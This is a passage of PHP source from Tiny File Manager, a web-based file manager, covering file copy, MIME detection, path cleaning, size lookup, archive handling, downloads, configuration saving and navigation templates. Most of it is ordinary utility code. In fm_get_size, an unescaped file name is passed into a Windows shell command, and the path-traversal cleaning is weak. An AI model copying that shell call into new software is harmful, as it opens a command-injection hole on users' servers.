* @param bool $upd Indicates if file should be updated with new content
* @return bool
*/
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists(\'finfo_open\')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists(\'mime_content_type\')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get(\'disable_functions\'), \'shell_exec\')) {
$file = escapeshellarg($file_path);
$mime = shell_exec(\'file -bi \' . $file);
return $mime;
} else {
return \'--\';
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header(\'Location: \' . $url, true, $code);
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
* @param $path
* @return string
*/
function get_absolute_path($path) {
$path = str_replace(array(\'/\', \'\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), \'strlen\');
$absolutes = array();
foreach ($parts as $part) {
if (\'.\' == $part) continue;
if (\'..\' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, \'\/\');
$path = str_replace(array(\'../\', \'..\\'), \'\', $path);
$path = get_absolute_path($path);
if ($path == \'..\') {
$path = \'\';
}
return str_replace(\'\\', \'/\', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != \'\') {
$array = explode(\'/\', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode(\'/\', $array);
}
return \'\';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case \'relative\':
return array(
\'label\' => \'Path\',
\'path\' => fm_enc(fm_convert_win(str_replace($root_path, \'\', $file_path)))
);
case \'host\':
$relative_path = str_replace($root_path, \'\', $file_path);
return array(
\'label\' => \'Host Path\',
\'path\' => fm_enc(fm_convert_win(\'/\' . $root_url . \'/\' . ltrim(str_replace(\'\\', \'/\', $relative_path), \'/\')))
);
case \'full\':
default:
return array(
\'label\' => \'Full Path\',
\'path\' => fm_enc(fm_convert_win($file_path))
);
}
}
/**
* Check file is in exclude list
* @param string $file
* @return bool
*/
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, \'7.0.0\', \'<\')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
/**
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr) {
try {
$content = @file_get_contents(\'translation.json\');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
/**
* @param string $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
* @return int|string
*/
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == \'WIN\');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists(\'exec\') && !ini_get(\'safe_mode\') && @exec(\'echo EXEC\') == \'EXEC\');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("
", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM(\'Scripting.FileSystemObject\');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array(\'B\', \'KB\', \'MB\', \'GB\', \'TB\', \'PB\', \'EB\', \'ZB\', \'YB\');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf(\'%s %s\', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
* Get total size of directory tree.
*
* @param string $directory Relative or absolute directory name.
* @return int Total number of bytes.
*/
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false && $directory != \'\' && file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path, $ext) {
if ($ext == \'zip\' && function_exists(\'zip_open\')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == \'/\';
$filenames[] = array(
\'name\' => $zip_name,
\'filesize\' => @zip_entry_filesize($zip_entry),
\'compressed_size\' => @zip_entry_compressedsize($zip_entry),
\'folder\' => $zip_folder
//\'compression_method\' => zip_entry_compressionmethod($zip_entry),
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == \'tar\' && class_exists(\'PharData\')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://".$path, \'\', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, \'/\')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
\'name\' => $zip_name,
\'filesize\' => $zip_info->getSize(),
\'compressed_size\' => $file->getCompressedSize(),
\'folder\' => $zip_folder
);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, \'UTF-8\');
}
/**
* Prevent XSS attacks
* @param string $text
* @return string
*/
function fm_isvalid_filename($text) {
return (strpbrk($text, \'/?%*:|"<>\') === FALSE) ? true : false;
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = \'ok\')
{
$_SESSION[FM_SESSION_ID][\'message\'] = $msg;
$_SESSION[FM_SESSION_ID][\'status\'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match(\'//u\', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists(\'iconv\')) {
$filename = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $filename);
}
return $filename;
}
/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map(\'fm_object_to_array\', $obj);
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case \'ico\':
case \'gif\':
case \'jpg\':
case \'jpeg\':
case \'jpc\':
case \'jp2\':
case \'jpx\':
case \'xbm\':
case \'wbmp\':
case \'png\':
case \'bmp\':
case \'tif\':
case \'tiff\':
case \'webp\':
case \'avif\':
case \'svg\':
$img = \'fa fa-picture-o\';
break;
case \'passwd\':
case \'ftpquota\':
case \'sql\':
case \'js\':
case \'ts\':
case \'jsx\':
case \'tsx\':
case \'hbs\':
case \'json\':
case \'sh\':
case \'config\':
case \'twig\':
case \'tpl\':
case \'md\':
case \'gitignore\':
case \'c\':
case \'cpp\':
case \'cs\':
case \'py\':
case \'rs\':
case \'map\':
case \'lock\':
case \'dtd\':
$img = \'fa fa-file-code-o\';
break;
case \'txt\':
case \'ini\':
case \'conf\':
case \'log\':
case \'htaccess\':
case \'yaml\':
case \'yml\':
case \'toml\':
case \'tmp\':
case \'top\':
case \'bot\':
case \'dat\':
case \'bak\':
case \'htpasswd\':
case \'pl\':
$img = \'fa fa-file-text-o\';
break;
case \'css\':
case \'less\':
case \'sass\':
case \'scss\':
$img = \'fa fa-css3\';
break;
case \'bz2\':
case \'zip\':
case \'rar\':
case \'gz\':
case \'tar\':
case \'7z\':
case \'xz\':
$img = \'fa fa-file-archive-o\';
break;
case \'php\':
case \'php4\':
case \'php5\':
case \'phps\':
case \'phtml\':
$img = \'fa fa-code\';
break;
case \'htm\':
case \'html\':
case \'shtml\':
case \'xhtml\':
$img = \'fa fa-html5\';
break;
case \'xml\':
case \'xsl\':
$img = \'fa fa-file-excel-o\';
break;
case \'wav\':
case \'mp3\':
case \'mp2\':
case \'m4a\':
case \'aac\':
case \'ogg\':
case \'oga\':
case \'wma\':
case \'mka\':
case \'flac\':
case \'ac3\':
case \'tds\':
$img = \'fa fa-music\';
break;
case \'m3u\':
case \'m3u8\':
case \'pls\':
case \'cue\':
case \'xspf\':
$img = \'fa fa-headphones\';
break;
case \'avi\':
case \'mpg\':
case \'mpeg\':
case \'mp4\':
case \'m4v\':
case \'flv\':
case \'f4v\':
case \'ogm\':
case \'ogv\':
case \'mov\':
case \'mkv\':
case \'3gp\':
case \'asf\':
case \'wmv\':
case \'webm\':
$img = \'fa fa-file-video-o\';
break;
case \'eml\':
case \'msg\':
$img = \'fa fa-envelope-o\';
break;
case \'xls\':
case \'xlsx\':
case \'ods\':
$img = \'fa fa-file-excel-o\';
break;
case \'csv\':
$img = \'fa fa-file-text-o\';
break;
case \'bak\':
case \'swp\':
$img = \'fa fa-clipboard\';
break;
case \'doc\':
case \'docx\':
case \'odt\':
$img = \'fa fa-file-word-o\';
break;
case \'ppt\':
case \'pptx\':
$img = \'fa fa-file-powerpoint-o\';
break;
case \'ttf\':
case \'ttc\':
case \'otf\':
case \'woff\':
case \'woff2\':
case \'eot\':
case \'fon\':
$img = \'fa fa-font\';
break;
case \'pdf\':
$img = \'fa fa-file-pdf-o\';
break;
case \'psd\':
case \'ai\':
case \'eps\':
case \'fla\':
case \'swf\':
$img = \'fa fa-file-image-o\';
break;
case \'exe\':
case \'msi\':
$img = \'fa fa-file-o\';
break;
case \'bat\':
$img = \'fa fa-terminal\';
break;
default:
$img = \'fa fa-info-circle\';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array(\'ico\', \'gif\', \'jpg\', \'jpeg\', \'jpc\', \'jp2\', \'jpx\', \'xbm\', \'wbmp\', \'png\', \'bmp\', \'tif\', \'tiff\', \'psd\', \'svg\', \'webp\', \'avif\');
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array(\'avi\', \'webm\', \'wmv\', \'mp4\', \'m4v\', \'ogm\', \'ogv\', \'mov\', \'mkv\');
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array(\'wav\', \'mp3\', \'ogg\', \'m4a\');
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
\'txt\', \'css\', \'ini\', \'conf\', \'log\', \'htaccess\', \'passwd\', \'ftpquota\', \'sql\', \'js\', \'ts\', \'jsx\', \'tsx\', \'mjs\', \'json\', \'sh\', \'config\',
\'php\', \'php4\', \'php5\', \'phps\', \'phtml\', \'htm\', \'html\', \'shtml\', \'xhtml\', \'xml\', \'xsl\', \'m3u\', \'m3u8\', \'pls\', \'cue\', \'bash\', \'vue\',
\'eml\', \'msg\', \'csv\', \'bat\', \'twig\', \'tpl\', \'md\', \'gitignore\', \'less\', \'sass\', \'scss\', \'c\', \'cpp\', \'cs\', \'py\', \'go\', \'zsh\', \'swift\',
\'map\', \'lock\', \'dtd\', \'svg\', \'asp\', \'aspx\', \'asx\', \'asmx\', \'ashx\', \'jsp\', \'jspx\', \'cgi\', \'dockerfile\', \'ruby\', \'yml\', \'yaml\', \'toml\',
\'vhost\', \'scpt\', \'applescript\', \'csx\', \'cshtml\', \'c++\', \'coffee\', \'cfm\', \'rb\', \'graphql\', \'mustache\', \'jinja\', \'http\', \'handlebars\',
\'java\', \'es\', \'es6\', \'markdown\', \'wiki\', \'tmp\', \'top\', \'bot\', \'dat\', \'bak\', \'htpasswd\', \'pl\'
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
\'application/xml\',
\'application/javascript\',
\'application/x-javascript\',
\'image/svg+xml\',
\'message/rfc822\',
\'application/json\',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
\'license\',
\'readme\',
\'authors\',
\'contributors\',
\'changelog\',
);
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array(\'doc\', \'docx\', \'xls\', \'xlsx\', \'pdf\', \'ppt\', \'pptx\', \'ai\', \'psd\', \'dxf\', \'xps\', \'rar\', \'odt\', \'ods\');
}
/**
* It returns the mime type of a file based on its extension.
* @param extension The file extension of the file you want to get the mime type for.
* @return string|string[] The mime type of the file.
*/
function fm_get_file_mimes($extension)
{
$fileTypes[\'swf\'] = \'application/x-shockwave-flash\';
$fileTypes[\'pdf\'] = \'application/pdf\';
$fileTypes[\'exe\'] = \'application/octet-stream\';
$fileTypes[\'zip\'] = \'application/zip\';
$fileTypes[\'doc\'] = \'application/msword\';
$fileTypes[\'xls\'] = \'application/vnd.ms-excel\';
$fileTypes[\'ppt\'] = \'application/vnd.ms-powerpoint\';
$fileTypes[\'gif\'] = \'image/gif\';
$fileTypes[\'png\'] = \'image/png\';
$fileTypes[\'jpeg\'] = \'image/jpg\';
$fileTypes[\'jpg\'] = \'image/jpg\';
$fileTypes[\'webp\'] = \'image/webp\';
$fileTypes[\'avif\'] = \'image/avif\';
$fileTypes[\'rar\'] = \'application/rar\';
$fileTypes[\'ra\'] = \'audio/x-pn-realaudio\';
$fileTypes[\'ram\'] = \'audio/x-pn-realaudio\';
$fileTypes[\'ogg\'] = \'audio/x-pn-realaudio\';
$fileTypes[\'wav\'] = \'video/x-msvideo\';
$fileTypes[\'wmv\'] = \'video/x-msvideo\';
$fileTypes[\'avi\'] = \'video/x-msvideo\';
$fileTypes[\'asf\'] = \'video/x-msvideo\';
$fileTypes[\'divx\'] = \'video/x-msvideo\';
$fileTypes[\'mp3\'] = \'audio/mpeg\';
$fileTypes[\'mp4\'] = \'audio/mpeg\';
$fileTypes[\'mpeg\'] = \'video/mpeg\';
$fileTypes[\'mpg\'] = \'video/mpeg\';
$fileTypes[\'mpe\'] = \'video/mpeg\';
$fileTypes[\'mov\'] = \'video/quicktime\';
$fileTypes[\'swf\'] = \'video/quicktime\';
$fileTypes[\'3gp\'] = \'video/quicktime\';
$fileTypes[\'m4a\'] = \'video/quicktime\';
$fileTypes[\'aac\'] = \'video/quicktime\';
$fileTypes[\'m3u\'] = \'video/quicktime\';
$fileTypes[\'php\'] = [\'application/x-php\'];
$fileTypes[\'html\'] = [\'text/html\'];
$fileTypes[\'txt\'] = [\'text/plain\'];
//Unknown mime-types should be \'application/octet-stream\'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = [\'application/octet-stream\'];
}
return $fileTypes[$extension];
}
/**
* This function scans the files and folder recursively, and return matching files
* @param string $dir
* @param string $filter
* @return array|null
*/
function scan($dir = \'\', $filter = \'\') {
$path = FM_ROOT_PATH.\'/\'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, \'\', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
/**
* Parameters: downloadFile(File Location, File Name,
* max speed, is streaming
* If streaming - videos will show as videos, images as images
* instead of download prompt
* https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
if(is_array($contentType)) {
$contentType = implode(\' \', $contentType);
}
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng(\'Zero byte file! Aborting download\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
return (false);
}
@ini_set(\'magic_quotes_runtime\', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng(\'Cannot open file! Aborting download\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
return (false);
}
// headers
header(\'Content-Description: File Transfer\');
header(\'Expires: 0\');
header(\'Cache-Control: must-revalidate, post-check=0, pre-check=0\');
header(\'Pragma: public\');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = \'attachment\';
if (strstr($_SERVER[\'HTTP_USER_AGENT\'], "MSIE")) {
$fileName = preg_replace(\'/\./\', \'%2e\', $fileName, substr_count($fileName, \'.\') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER[\'HTTP_RANGE\'])) {
list($a, $range) = explode("=", $_SERVER[\'HTTP_RANGE\']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
/**
* If the theme is dark, return the text-white and bg-dark classes.
* @return string the value of the variable.
*/
function fm_get_theme() {
$result = \'\';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != \'.\' && $file != \'..\') {
if (is_dir($path . \'/\' . $file)) {
if (!$this->addDir($path . \'/\' . $file)) {
return false;
}
} elseif (is_file($path . \'/\' . $file)) {
if (!$this->zip->addFile($path . \'/\' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != \'.\' && $file != \'..\') {
if (is_dir($path . \'/\' . $file)) {
if (!$this->addDir($path . \'/\' . $file)) {
return false;
}
} elseif (is_file($path . \'/\' . $file)) {
try {
$this->tar->addFile($path . \'/\' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
\'lang\' => \'en\',
\'error_reporting\' => true,
\'show_hidden\' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = \'Tiny File Manager<br>Error: Cannot load configuration\';
if (substr($fm_url, -1) == \'/\') {
$fm_url = rtrim($fm_url, \'/\');
$msg .= \'<br>\';
$msg .= \'<br>Seems like you have a trailing slash on the URL.\';
$msg .= \'<br>Try this link: <a href="\' . $fm_url . \'">\' . $fm_url . \'</a>\';
}
die($msg);
}
if (is_array($data) && count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = \'$CONFIG\';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
//--- Templates Functions ---
/**
* Show nav block
* @param string $path
*/
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? \'fixed-top\' : \'\';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng(\'AppTitle\') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href=\'?p=\'><i class=\'fa fa-home\' aria-hidden=\'true\' title=\'" . FM_ROOT_PATH . "\'></i></a>";
$sep = \'<i class="bread-crumb"> / </i>\';
if ($path != \'\') {
$exploded = explode(\'/\', $path);
$count = count($exploded);
$array = array();
$parent = \'\';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . \'/\' . $exploded[$i], \'/\');
$parent_enc = urlencode($parent);
$array[] = "<a href=\'?p={$parent_enc}\'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo \'<div class="col-xs-6 col-sm-5">\' . $root_url . $editFile . \'</div>\';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng(\'Search\') ?>" aria-label="<?php echo lng(\'Search\') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : \'.\'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng(\'Advanced Search\') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng(\'Upload\') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng(\'Upload\') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng(\'NewItem\') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng(\'NewItem\') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID][\'logged\'])) { echo $_SESSION[FM_SESSION_ID][\'logged\']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng(\'Settings\') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng(\'Settings\') ?></a>
<?php endif ?>
<a title="<?php echo lng(\'Help\') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng(\'Help\') ?></a>
<a title="<?php echo lng(\'Logout\') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng(\'Logout\') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng(\'Settings\') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng(\'Settings\') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
/**
* Show alert message from session
*/
function fm_show_message()
{
if (isset($_SESSION[FM_SESSION_ID][\'message\'])) {
$class = isset($_SESSION[FM_SESSION_ID][\'status\']) ? $_SESSION[FM_SESSION_ID][\'status\'] : \'ok\';
echo \'<p class="message \' . $class . \'">\' . $_SESSION[FM_SESSION_ID][\'message\'] . \'</p>\';
unset($_SESSION[FM_SESSION_ID][\'message\']);
unset($_SESSION[FM_SESSION_ID][\'status\']);
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = \'20160315\';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo \'<link rel="icon" href="\'.fm_enc($favicon_path).\'" type="image/png">\'; } ?>
<title><?php echo fm_enc(APP_TITLE) ?></title>
<?php print_external(\'pre-jsdelivr\'); ?>
<?php print_external(\'css-bootstrap\'); ?>
<style>
